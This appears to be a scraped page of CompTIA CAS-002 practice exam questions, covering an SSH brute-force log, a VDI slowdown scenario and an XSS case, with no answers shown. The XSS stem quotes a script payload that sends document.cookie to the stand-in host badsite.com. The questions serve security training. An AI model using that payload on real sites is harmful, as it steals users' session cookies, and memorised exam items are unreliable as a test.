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Exam CAS-002 : CompTIA Advanced Security Practitioner

what is occurring and the BEST immediate response?

A security administrator is shown the following log excerpt from a Unix system:
2013 Oct 10 07:14:57 web14 sshd[1632]: Failed password for root from 198.51.100.23 port 37914 ssh2
2013 Oct 10 07:14:57 web14 sshd[1635]: Failed password for root from 198.51.100.23 port 37915 ssh2
2013 Oct 10 07:14:58 web14 sshd[1638]: Failed password for root from 198.51.100.23 port 37916 ssh2
2013 Oct 10 07:15:59 web14 sshd[1640]: Failed password for root from 198.51.100.23 port 37918 ssh2
2013 Oct 10 07:16:00 web14 sshd[1641]: Failed password for root from 198.51.100.23 port 37920 ssh2
2013 Oct 10 07:16:00 web14 sshd[1642]: Successful login for root from 198.51.100.23 port 37924 ssh2
Which of the following is the MOST likely explanation of what is occurring and the BEST immediate response? (Select TWO).

Which of the following is the MOST likely cause of the …

At 9:00 am each morning, all of the virtual desktops in a VDI implementation become extremely slow and/or unresponsive. The outage lasts for around 10 minutes,
after which everything runs properly again. The administrator has traced the problem to a lab of thin clients that are all booted at 9:00 am each morning. Which of
the following is the MOST likely cause of the problem and the BEST solution? (Select TWO).

A security administrator notices the following line in …

A security administrator notices the following line in a server’s security log:
<input name=’credentials’ type=’TEXT’ value='” +
request.getParameter(‘><script>document.location=’http://badsite.com/?q=’document.cookie</scri pt>’) + “‘;
The administrator is concerned that it will take the developer a lot of time to fix the application that is running on the server. Which of the following should the
security administrator implement to prevent this particular attack?


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